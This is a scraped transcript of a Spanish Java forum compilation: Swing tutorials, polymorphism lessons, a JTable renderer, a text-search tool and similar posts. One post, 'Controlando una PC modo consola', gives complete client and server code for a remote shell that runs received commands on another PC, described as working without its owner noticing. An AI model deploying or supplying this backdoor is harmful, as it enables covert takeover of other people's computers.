Java Foros

169
 JNumKeyboard Este es un teclado numérico para la digitacion de claves, de esta forma colocamos un grado de seguridad a nuestras aplicaciones, ya que se evita que si, dando un pequeño ejemplo un poco extremista, si alguien nos espía con algún keylogger, no podrá hacerlo con esta herramienta ya que no se digita la contraseña con el teclado normal, sino con el mouse. Imágenes Código Clase Principal  packag e clases; import java.awt.Dimension ; import java.awt.GridLayout ; import java.awt.event.FocusEvent ; import java.awt.event.FocusListener ; import javax.swing.* ;  public class Principal extends JApplet{ JTextField txtusu=new JTextField (10); JPasswordField txtclave=new JPasswordField (10); JPopupMenu pop; JNumKeyboard teclado ;  public Principal(){ colocarSkin(); JPanel pafuera=new JPanel(); JPanel p=new JPanel(new GridLayout(2,2,0,0)); 

Transcript of Java Foros

Page 1: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 1/169

JNumKeyboard

Este es un teclado numérico para la digitacion de claves, de esta forma colocamos un gradode seguridad a nuestras aplicaciones, ya que se evita que si, dando un pequeño ejemplo unpoco extremista, si alguien nos espía con algún keylogger, no podrá hacerlo con esta

herramienta ya que no se digita la contraseña con el teclado normal, sino con el mouse.

Imágenes

Código

Clase Principal

 package clases; 

import java.awt.Dimension; import java.awt.GridLayout; import java.awt.event.FocusEvent; import java.awt.event.FocusListener; 

import javax.swing.*; 

 public class Principal extends JApplet{ 

JTextField  txtusu=new JTextField (10); JPasswordField  txtclave=new JPasswordField (10); JPopupMenu pop; 

JNumKeyboard teclado; 

 public Principal(){ 

colocarSkin(); 

JPanel pafuera=new JPanel(); JPanel p=new JPanel(new GridLayout(2,2,0,0)); 

Page 2: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 2/169

pafuera.setPreferredSize(new Dimension(200,30)); p.add(new JLabel("Usuario: ")); p.add(txtusu); p.add(new JLabel("Clave: ")); p.add(txtclave); 

txtclave.addFocusListener(new FocusListener(){ 

@Override  public void  focusGained(FocusEvent arg0) { pop = new JPopupMenu(); teclado=new JNumKeyboard(txtclave); pop.add(teclado); pop.setVisible(true); pop.setLocation(txtclave.getLocationOnScreen().x+112,

txtclave.getLocationOnScreen().y-1); } 

@Override  public void  focusLost(FocusEvent arg0) { pop.setVisible(false); } 

}); 

pafuera.add(p); add(pafuera); 

 public void  colocarSkin(){ try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.Ni

mbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { 

e.printStackTrace(); } catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } } 

Page 3: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 3/169

Clase JNumKeyboard

 package clases; 

import java.awt.GridLayout; 

import java.awt.event.ActionEvent; import java.awt.event.ActionListener; 

import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JPasswordField; 

 public class JNumKeyboard extends JPanel { 

JPasswordField  t; 

 publicJNumKeyboard(

JPasswordField txt){ 

t=txt; 

setLayout(new GridLayout(4,3,0,0)); 

 ActionListener accion=new  ActionListener(){ 

@Override  public void  actionPerformed( ActionEvent e) { JButton b=(JButton)e.getSource(); t.setText(""+t.getText()+b.getText()); } 

}; 

for(int i=0;i<12;i++){ if(i<9){ JButton b=new JButton(""+(i+1)); b.addActionListener(accion); add(b); }else{ if(i==9){ 

JButton b=new JButton(""); b.setEnabled(false); add(b); } if(i==10){ JButton b=new JButton("0"); b.addActionListener(accion); add(b); 

Page 4: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 4/169

  } if(i==11){ JButton b=new JButton(""); b.setEnabled(false); add(b); 

} } } } 

Al hacer clic sobre el campo de texto para digitar la contraseña se despliega una ventanaemergente con botones, uno para cada dígito numérico. Al dar clic sobre el otro campo detexto esta ventana desaparece.

Controlando una PC modo consola Ha sido difícil para nosotros esto días actualizar el blog, pero aquí estamos, llenos de ideas,hoy veremos como obtener la consola de otro pc, podremos hacer casi cualquier cosa en laotra pc, sin que la otra persona se de cuenta de que estamos controlando el pc.Podremos ejecutar programas, ver configuraciones de ip, estado de las conexiones del otropc, etc.

Código

Page 5: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 5/169

Servidor 

Clase Principal 

 package clases; 

import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; 

 public class Principal { 

 public Principal(){ try { ServerSocket server=new ServerSocket(4444); System .out.println("Escuchando..."); while(true){ Socket cliente=server.accept(); HiloManejador hm=new HiloManejador(cliente); hm.start(); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } 

 public static void  main(String arg[]){ Principal p=new Principal(); } 

Clase HiloManejador 

 package clases; 

import java.io.BufferedReader; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.Socket; 

Page 6: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 6/169

 public class HiloManejador extends Thread { 

Socket cliente; DataInputStream  dis; DataOutputStream  dos; Process p; 

 public HiloManejador(Socket s){ cliente=s; } 

 public void  run(){ System .out.println("Cliente conectado"); while(true){ try { dis = new DataInputStream (cliente.getInputStream()); dos= new DataOutputStream (cliente.getOutputStream()); p=Runtime.getRuntime().exec(""+dis.readUTF()); BufferedReader s=new BufferedReader(new 

InputStreamReader(p.getInputStream())); String x=s.readLine(); String todo=""; while(x!=null){ System .out.println(x); todo+=x+"\n"; x=s.readLine(); } dos.writeUTF(""+todo); 

} catch (IOException e) { try { cliente.close(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } } 

Cliente

Clase Principal

 package clases; 

Page 7: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 7/169

import java.awt.BorderLayout; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException; 

import javax.swing.*; 

 public class Principal extends JFrame{ 

JTextArea txt; Socket s; JTextField  consulta; 

 public Principal(){ 

consulta=new JTextField (); txt=new JTextArea(); consulta.addKeyListener(new KeyListener(){ 

@Override  public void  keyPressed(KeyEvent e) { if(e.getKeyCode()==KeyEvent.VK_ENTER){ DataOutputStream  dos; DataInputStream  dis; 

try { dos = new DataOutputStream (s.getOutputStream()); dis=new DataInputStream (s.getInputStream()); dos.writeUTF(consulta.getText()); txt.append(""+dis.readUTF()+"\n"+"---------------------

----------------------------------"); } catch (IOException ex) { // TODO Auto-generated catch block ex.printStackTrace(); } } 

@Override  public void  keyReleased(KeyEvent arg0) { // TODO Auto-generated method stub 

Page 8: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 8/169

@Override  public void  keyTyped(KeyEvent arg0) { // TODO Auto-generated method stub 

}); try { s=new Socket("192.168.195.128",4444); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } 

add(consulta,BorderLayout.NORTH); add(new JScrollPane(txt)); } 

 public static void  main(String arg[]){ Principal p=new Principal(); p.setVisible(true); p.setBounds(0, 0, 300, 200); p.setDefaultCloseOperation(EXIT_ON_CLOSE); } 

Descarga 

Todo el proyecto lo pueden descargar desde aquí , se incluyen los archivos fuentes,las imágenes, y los ejecutables para que ensayen, recuerden deben cambiar la ip, yo use unade mi maquina virtual.

Polimorfismo 

Submitted by OscarRyz on Mié, 09/07/2011 - 00:02

  Conceptos 

El polimorfismo es quizá al característica más importante de la programación orientada aobjetos y también quizá la más difícil de entender y creo que en parte se debe al nombre; noayuda mucho y si impresiona al principio.

Page 9: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 9/169

Pero si en vez de pensar en la palabra pensamos en como los objetos se comportan dediferente forma dependiendo de su naturaleza puede ser más claro.

Por ejemplo, en el post anterior Clases y Objetos hablaba como los objetos de nuestrossistema se pueden clasificar de acuerdo a sus atributos y comportamiento. Los objetos de la

misma clase se comportan igual y los objetos de diferentes clases se comportan diferente.¿Parece demasiado obvio verdad? Pues es que lo es.

Por ejemplo, el mecanismo de persistencia ( entiéndase, cuando voy a "salvar", o "guardar"algo ) puede utilizar una base de datos o el sistema de archivos entonces se tendrían dosclases diferentes donde cada una hiciera algo distinto.

Si tuvieramos esta clase llamada Persona:

class Persona {  private String nombre; 

 private String apellido;  public String nombre()  { return this.nombre; }  public String apellido()  { return this.nombre; } 

Podríamos escribir una clase que persistiera personas a una base de datos así:

class GuardaPersonaEnBaseDeDatos { void  salva( Persona persona ) { 

SomeMagicLibrary.executeUpdate( "UPDATE persona SET nombre = ? , apellido = ? ",

persona.nombre(),persona.apellido() ); 

} } 

El código para salvar a la base de datos no importa mucho en este ejemplo, basta con verque se utiliza una sentencia SQL y por ahí una biblioteca mágica que haga todo el trabajo.

Podríamos también tener otra clase que en vez de usar una base de datos escribiera a unarchivo:

class GuardaPersonaEnArchivo { void  salva( Persona persona ) { 

PrintStream  out = new PrintStream ( new FileOutputStream ( 

persona.nombre() + ".txt") ); out.printf("{ 'nombre' : '%s', 'apellido' : '%s' }",

persona.nombre(), persona.apellido() ); out.close(); 

Page 10: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 10/169

  } } 

De nuevo la implementación aquí no es la importante, sino que tenga un método que recibeuna instancia de persona y hace algo.

De esto se trata el polimorfismo! de que diferentes clases responden de diferente forma almismo mensaje ( mensaje es cuando se invoca o se ejecuta un método ), en este caso el

mensaje o el método fue salva( Persona ) y las dos clases lo hicieron de formadiferente. Eso es todo.

Ahora. En Java, el tipo de dato ( la clase ) del objeto se debe de declarar antes de que elprograma se ejecute ( por eso se le llama de tipeo estático, por que los tipos de datos sedefinen "en frio" )

// Declara una variable llamada juan de tipo Persona 

Persona juan; 

Otros lenguajes permiten definir el tipo de dato en tiempo de ejecución ( tipeo dinámico )

Como a los objetos solo se les pueden enviar mensajes que estén definidos en su propiaclase, habría problema para intentar hacer esto:

Persona juan = new Persona(); 

...

GuardaPersonaEnBaseDeDatos guardar = new 

GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos.

guardar = new GuardaPersonaEnArchivo(); // eeerrrk!! Error 

en tiempo de compilación guardar.salva( juan ); // ya ni siquiera llega a esta línea. 

El problema es que la variable guardar fue declarada como de tipoGuardaPersonaEnArchivo y por lo tanto ya no se le puede asignar el tipoGuardaPersonaEnArchivo 

En Java existen dos formas de solucionar este problema, la primera es definir una clasepadre para ambas clases y definir el tipo de dato como el de esa clase:

class Guardador { void  salva( Persona persona ) { 

// nah... no hagas nada..

} } 

Page 11: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 11/169

Y luego

class GuardaPersonaEnBaseDeDatos extends Guardador { void  salva( Persona persona ) { 

. .. . .

} } 

y

class GuardaPersonaEnArchivo extends Guardador { void  salva( Persona persona ) { 

. .. . .} 

Y definir el tipo de datos como el del padre:

Persona juan = new Persona(); 

...

Guardador guardar = new GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos.

guardar = new GuardaPersonaEnArchivo(); // compila bien guardar.salva( juan ); // ejecuta el otro método

Y dadaaaa!!! ya tenemos polimorfismo.

La otra opción es implementando una interfaz pero ya veremos eso después.

Conclusión 

Si parece demasiado fácil hacer polimorfirsmo en Java y se quedan con la idea de "Que!!

eso es todo?!" pues les diré que sí, eso es todo.

Lo interesante aquí viene en la forma en la que se utiliza el polimorfismo y porque es tanimportante en la POO.

Por ejemplo en los plugins se escribe código y se llaman métodos sobre clases que nisiquiera existen aún, porque será el autor del plugin el que provea esa nueva funcionalidad.

De la misma forma, la gran mayoría de los famosos patrones de diseño se basanprecisamente en esto, en el polimorfismo para que sean las implementaciones las que diganque es lo que se va a hacer.

Page 12: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 12/169

Y en el ejemplo mismo que es tan burdo, se puede agregar fácilmente quizá un año despuésde haber escrito este pedazo de código, un nuevo "Guardador" que utilice la red en vez dela base de datos o el sistema de archivos, bastaría definir el nuevo método:

class GuardaEnRed extends Guardador { void 

salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream  dos = new  DataOutputStream ( 

s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close(); 

} } 

Con lo que tendríamos un nuevo guardador. Y eso es todo.

 Polimorfismo: "Llamada a un Java / método virtual utilizando una referencia a una

superclase más generalizado de un objeto real invoca el método en el objeto real (el más

específicos de subclase), utilizando un bottom-up mecanismo de búsqueda". Noooo puescon estas definiciones si le voy a entendeeeer, al menos con esta definicion me hago masbolas. y luego este ejemplo que encontre:

void  test ()( 

//un objeto de tipo gato Cat simon = new Cat (); 

//se crea un objeto de tipo animal, que extiende de gato ??? Animal animal = simon; /* upcasting */  animal.eat (); /* = Cat.eat */  

Perro rover = new Perro (); 

/* Rover segura upcast referencia a los animales*/  feed(rover); feed(simon); //aqui se esta mandando nuevamente al objeto

gato 

) void  feed(Animal a) ( 

// Animal.eat () = Cat.eat () // feed(rover) = Dog.eat () //feed(Simon) = Cat.eat () a.eat (); 

Page 13: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 13/169

Sinceramente no entiendo si se hace las mismas operaciones en animal.eat(); y cuando

se manda al metodo y se ejecuta a.eat(); 

No dudo que para muchos se les complique entenderlo, pero tambien a otros como yo puessi se nos dificulta y mas con este tipo de ejemplos

Yo te recomendaria usar interfaces, a excepcion de algunos casos en donde te recomendariaclases Abtractas:

 public interface Guardador { void  salva( Persona persona ); 

} class GuardaEnRed implementsGuardador { 

void  salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream  dos = new  DataOutputStream ( 

s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close(); 

} } 

Cuando antes trataba de explicarle a alguien nuevo a la POO comenzaba con ejemploscómo el que tú das. Al final siempre terminaban preguntándome: "Bueno, a fin de cuentaspolimorfismo es..." y con una carota de: "WTFFFF?!?!?!?!?!".

A mi parecer una manera más sencilla de hacer entender el polimorfismo es la manera enque llamas a un mensaje...aunque hay diferencia de opiniones respecto de los operadores(hablando de Java) en si se pueden o no considerar cómo mensajes. Sin embargo ilustran deuna manera el polimorfismo. Ejemplo:

// Ilustrando polimorfismo con el signo + class EjemploSignoSuma{ --- public static void  main(String ... args){ ------//Si usamos el signo + con un entero, lo suma: ------int x = -15; ------int y = 665; ------int z = x + y; ------String s = String.format("Usando el símbolo de sumaobtenemos que %d + %d = %d", x, y, z); ------//Ahora un ejemplo del uso del símbolo + con cadenas ------String wordOne = "The only place"; ------String wordTwo = "where you can dream"; ------s += "\n La frase usando el símbolo + es: " + wordOne + wordTwo; ------System.out.println(s); 

Page 14: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 14/169

------System.exit(0); ---} } 

Y lo vemos fácil, pues para cadenas el símbolo + es igual a decirle: "concatena", y para

números es igual a decirle: "suma". Otro ejemplo de polimorfismo con este mismo símboloes el uso de expresiones regulares (las cuales, un servidor no domina muy bien, de haceruna metida de pata corregirme por favor), en donde este mismo símbolo (+) sirve paraindicar que debe haber uno o más dígitos de un carácter indicado.

Menu Dinamico 

Ase poco vi este efecto en una pagina y me decidi a hacerlo en java, no fue tan dificil comopense al comienzo, fue bastante rapido.

Imagenes

Depronto a alguien le interese usarlo en sus proyectos, aqui esta para que lo disfruten.

Solo dejo el codigo de la clase principal y el del panelmenu, por que sino haria muy extensoel post.

Clase Principal 

 package clases; 

Page 15: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 15/169

import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*; 

 public class Principal extends JApplet{ 

JTextField  txtusuario=new JTextField (10); JPasswordField  txtclave=new JPasswordField (10); 

 public Principal(){ 

colocarSkin(); 

setLayout(new BorderLayout()); JPanel pafuera=new JPanel(new FlowLayout()); JPanel pgrid=new JPanel(new GridLayout(1,5)); 

pafuera.add(pgrid); 

panelmenu pm1=new panelmenu("Inicio"); panelmenu pm2=new panelmenu("Registrar"); panelmenu pm3=new panelmenu("Eliminar"); panelmenu pm4=new panelmenu("Buscar"); panelmenu pm5=new panelmenu("Contacto"); 

pgrid.add(pm1); pgrid.add(pm2); pgrid.add(pm3); pgrid.add(pm4); pgrid.add(pm5); add(pafuera); 

 public void  colocarSkin(){ try { 

UIManager.setLookAndFeel("com.sun.jav

a.swing.plaf.nimbus.NimbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch 

Page 16: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 16/169

(UnsupportedLookAndFeelException e) { e.printStackTrace(); } 

Clase panelmenu

 package clases; 

import java.awt.Cursor; import java.awt.Graphics; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import javax.swing.ImageIcon; 

import javax.swing.JOptionPane; import javax.swing.JPanel; import java.awt.Color; import java.awt.Dimension; import java.awt.Font; 

 public class panelmenu extends JPanel implements  MouseListener{ 

ImageIcon img;  boolean sw=false; int y=0; 

String nombremenu; 

 public panelmenu(String nom){ nombremenu=nom; img=new 

ImageIcon(this.getClass().getResource("../lib/inicio2.png")); addMouseListener(this); setPreferredSize(new Dimension((80),40)); 

 public void  paintComponent(Graphics g){ super.paintComponents(g); g.drawImage(img.getImage(), 0, y, 80, 80,

this); g.setFont(new Font("Verdana",Font.BOLD,12)); g.setColor(Color.WHITE); g.drawString(nombremenu, 10, 25+y); g.setColor(Color.BLACK); 

Page 17: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 17/169

g.drawString(nombremenu, 10, 65+y); } 

@Override  public void  mouseClicked( MouseEvent arg0) { 

JOptionPane.showMessageDialog(

null,"Presionaste el menu " + nombremenu); 

@Override  public void  mouseEntered( MouseEvent e) { 

sw=true; hilosubir hs=new hilosubir(this); hs.start(); setCursor(new Cursor(Cursor.HAND_CURSOR)); 

@Override  public void  mouseExited( MouseEvent arg0) { 

sw=false; hilobajar hb=new hilobajar(this); hb.start(); setCursor(null); 

@Override  public void  mousePressed( MouseEvent arg0) { } 

@Override  public void  mouseReleased( MouseEvent arg0) { } 

El proyecto completo lo pueden ver en Java Zone, ademas pueden descargar el proyectodesde aqui. 

Buscador de texto plano 

Que onda ya ando de nuevo por aca:

Les comparto está pequeña utilidad que hice hace un par de días devido a la necesidad queme surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nadanuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es muchomas facil tener una aplicación intuitiva que nos ayude...

Page 18: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 18/169

Copio el post directo de G+

Acabo de terminar un programita sencillo en java, que es util para buscar cadenas enarchivos el cual tiene las siguientes caracteristicas:

1.-Recibe los siguientes parametros:-Criterio de busqueda (el texto que buscara en el archivo)-Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira lassubcarpetas)-Extensión (la extensión de los archivos donde buscara, p.j. .java .txt)

2.- No distingue entre mayusculas y minusculas de tal manera que los criterios debusqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUEBUSCO" , etc , los toma como si fueran iguales.

3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvocoincidencias..

Comentarios:

hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos ynos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalladice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la rutade donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y ledas buscar es todo..

Ahorita busque una frase en una carpeta de 1.40 gb apx de tamaño y se tardo poco menosde 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae estaopción (lo que hace el programa) pero hice la misma busqueda y me encontro el mismoresultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba en

Page 19: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 19/169

todos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado ywindows me tronaba el proceso.

Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que sepuede mejorar dejando la busqueda a un hilo mientras se pone una animación o algo que

indique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de ungran tamaño.

Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero..

¿les gustaria probarlo?el codigo fuente esta en: https://gist.github.com/1095949 

espero cualquier comentario o sugerencia.

JTable una hermosura Ok... después de unos 4 años de estarme peleando con .NET (especíicamente con WPF) yde regresar a ver "que tanto había avanzado java" me reencuentro con jTable y memaravillo de lo bien que está estructurado.Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo comofuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberración.Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar código ymontarlo no sólo en diferentes programas o en diferentes accesos a datos y presentarloshabrán sentido, tenido o implorado por una programación modular por capas y que utilicecompletamente la independencia de datos entre la capa de presentación y la capa de

obtención de resultado de datos (que prara fines prácticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentación delos datos obtenidos mediante un jTableModel que puede ser el de omisión o unopersonalizado, de igual manera cada celda puede,según el tipo de datos presentar un manejodistinto de la presentación de datos, como ejemplo sencillo pondremos un código sencillode una clase ocupada por una tabla para presentar los datos en una celda de varias lineas ycon un tooltip para mostrar el contenido completo (espero haberme explicado):primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans ysu WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una claseindependiente que maneje la lógica de comportamiento de la presentación (así tenemosnuestra cara final independiente del que la maneja -como un títere que se puede comportar

de manera diferente con cada titiritero), lo que veremos entonces es código de esecontrolador:

JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5

0); res.getColumnModel().getColumn(1).setPreferredWidth(2

Page 20: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 20/169

00); res.getColumnModel().getColumn(2).setPreferredWidth(5

0); res.setDefaultRenderer(String.class,

new MultiLineCellRenderer()); 

lo que estamos haciendo es decirle a nuestra tabla que ancho tendrá cada columna y decirleque si el dato que se pone es un String se utilizará nuestra clase para mostrarla:

/*

* To change this template, choose Tools | Templates

* and open the template in the editor.

*/  

import java.awt.Component; import java.awt.Font; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.UIManager; import javax.swing.border.EmptyBorder; import javax.swing.table.TableCellRenderer; 

/** * * @author charly */  

 public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{ 

 public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true); 

 public static  boolean BOLD; @Override  public Component getTableCellRendererComponent(JTable 

jtable, Object value,

 boolean isSelected, boolean hasFocus,

int row, int column) { if(isSelected){ 

setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground()); 

}else{ setForeground(jtable.getForeground()); 

Page 21: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 21/169

setBackground(jtable.getBackground()); } 

Font font = null; if(BOLD) 

font = new Font(jtable.getFont().getFontName(),Font.BOLD, jtable.getFont().getSize() ); 

elsefont = jtable.getFont(); 

setToolTipText((String)value); setFont(font); 

setText((String)value); if(hasFocus){ 

setBorder(UIManager.getBorder("Table.focusCellHighLightBroder")); 

}else{ setBorder(new EmptyBorder(0,0,0,0)); 

return this; } 

Espero que el código sea autoexplicable, pero en dado caso lo que estamos haciendo es

decir que cuando tengamos un String mostraremos un JTextArea, este debe implementar,para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextAreaincorpora los valores que le den a la celda y los "pinta", así de esta manera podemos, comoen este caso, manipular si pondremos el resultado en negritas o no, de igual manerapodríamos decirle que el contenido (p.e.) es html y poner texto en diferentes colores omuchas cosas más con independencia completa del resto del comportamiento de la tabla.

Así pues es como JTable va utilizando un paradigma importantísimo de cualquier problemade sistemas: divide y vencerás, convirtiendo cada uno de los problemas de presentación deuna tabla de datos en una solución completamente separados y con una solución poromisión que puede ser completamente reemplazable.

ya tendremos más oportunidades para seguir hablando de como ir personalizando nuestrastablas de resultados via JTable.

Buscador de texto plano 

Que onda ya ando de nuevo por aca:

Page 22: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 22/169

Les comparto está pequeña utilidad que hice hace un par de días devido a la necesidad queme surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nadanuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es muchomas facil tener una aplicación intuitiva que nos ayude...

Copio el post directo de G+

Acabo de terminar un programita sencillo en java, que es util para buscar cadenas enarchivos el cual tiene las siguientes caracteristicas:

1.-Recibe los siguientes parametros:-Criterio de busqueda (el texto que buscara en el archivo)-Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira lassubcarpetas)-Extensión (la extensión de los archivos donde buscara, p.j. .java .txt)

2.- No distingue entre mayusculas y minusculas de tal manera que los criterios debusqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUEBUSCO" , etc , los toma como si fueran iguales.

3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvocoincidencias..

Comentarios:

hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos ynos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalladice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la rutade donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y ledas buscar es todo..

Page 23: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 23/169

Ahorita busque una frase en una carpeta de 1.40 gb apx de tamaño y se tardo poco menosde 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae estaopción (lo que hace el programa) pero hice la misma busqueda y me encontro el mismoresultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba entodos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado y

windows me tronaba el proceso.

Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que sepuede mejorar dejando la busqueda a un hilo mientras se pone una animación o algo queindique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de ungran tamaño.

Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero..

¿les gustaria probarlo?

JPanel con Imagen de Fondo auto-ajustado a la ventana 

Bueno yo les tengo un modo de añadir imagen de fondo a un JPanel y si dan al JPanel lapropiedad de Tamaño horizontal redefinible True y Tamaño vertical redefinible True,Verán como se adpata la imagen al JFrame que contiene al JPanel.

1.- (opcional) Dentro del JPanel añadido al JFrame ( por que no también JInternalFrame)dale click derecho y ve a "Personalizar Código".

2.- Código:

try { BgBorder borde = new 

BgBorder(ImageIO.read("/recursos/miImagenFondo.png")) ); 

jPanel1.setBorder(borde); } catch (IOException e) { 

System .out.println(e.getMessage()); } 

.......Y la clase mágica que hace el resto por nosotros....

 public class BgBorder implements Border { 

 private BufferedImage mImagen = null; 

 public BgBorder(BufferedImage pImagen) { mImagen = pImagen; 

Page 24: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 24/169

   public void  paintBorder(Component c, Graphics g, int x,int y, int width, int height) { 

if (mImagen != null) { g.drawImage(mImagen, 0, 0, width, height, null); 

}  public Insets getBorderInsets(Component c) { return new Insets(0, 0, 0, 0); 

}  public  boolean isBorderOpaque() { 

return true; } 

No recuerdo de donde lo leí por la web pero me ha servido mucho para mejorar misinterfaces.

toString() 

Quizas alguien (como yo) tenga que inspeccionar las propiedades en algun punto de suscodigo sin tener que realizar un debug, puede ser cuando obtienes la iformacion de una DBa un pojo por ejemplo, cuando recibes la informacion de un Request, cuando recuperas lainformacion de algun otro lugar, el chiste es que necesitas ver e estado de tus variables.Bueno en mi caso voy a trabajar con clases que tienen aprox 50 propiedades cada una (novoy a discutir si eso bueno o malo, las voy a usar y punto) pero por experiencia se que aveces puede aterarse la informacion, mas que nada en la transportacion de los datos cuandlees de un fichero, cuando encriptas y "desencriptas", cuando lo mandas por HTTP y masqe nada hay broncas con la codificacion o que llego mocho el valor... etc

Bueno, ese es mi caso y coo yo no seré el unico que le mete mano al sistema quisesobreescribirle el toString() para que al invocarlo te muesre todas las propiedades que tienela clase junto con su valor que almacena, de esa forma me evito hacerle el debug einspeccionar una por una y e mi caso que son muchas propiedades pues me seria bientedioso hacerlo

Este codigo usa reflexion y busca todas las propiedades de clase y las lista junto con e valorque tiene asignado, pero pues en mi caso tambien quise darle una alineacion paraqe el valorde las propiedades fuera mas legible

Yo defino por ejepo estas propiedades

 private String aaaaaaaaa = "tengo valor",bbbbbbb = "yo tabien tengo valor",ccccccccccccccc,ddddddddd,

Page 25: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 25/169

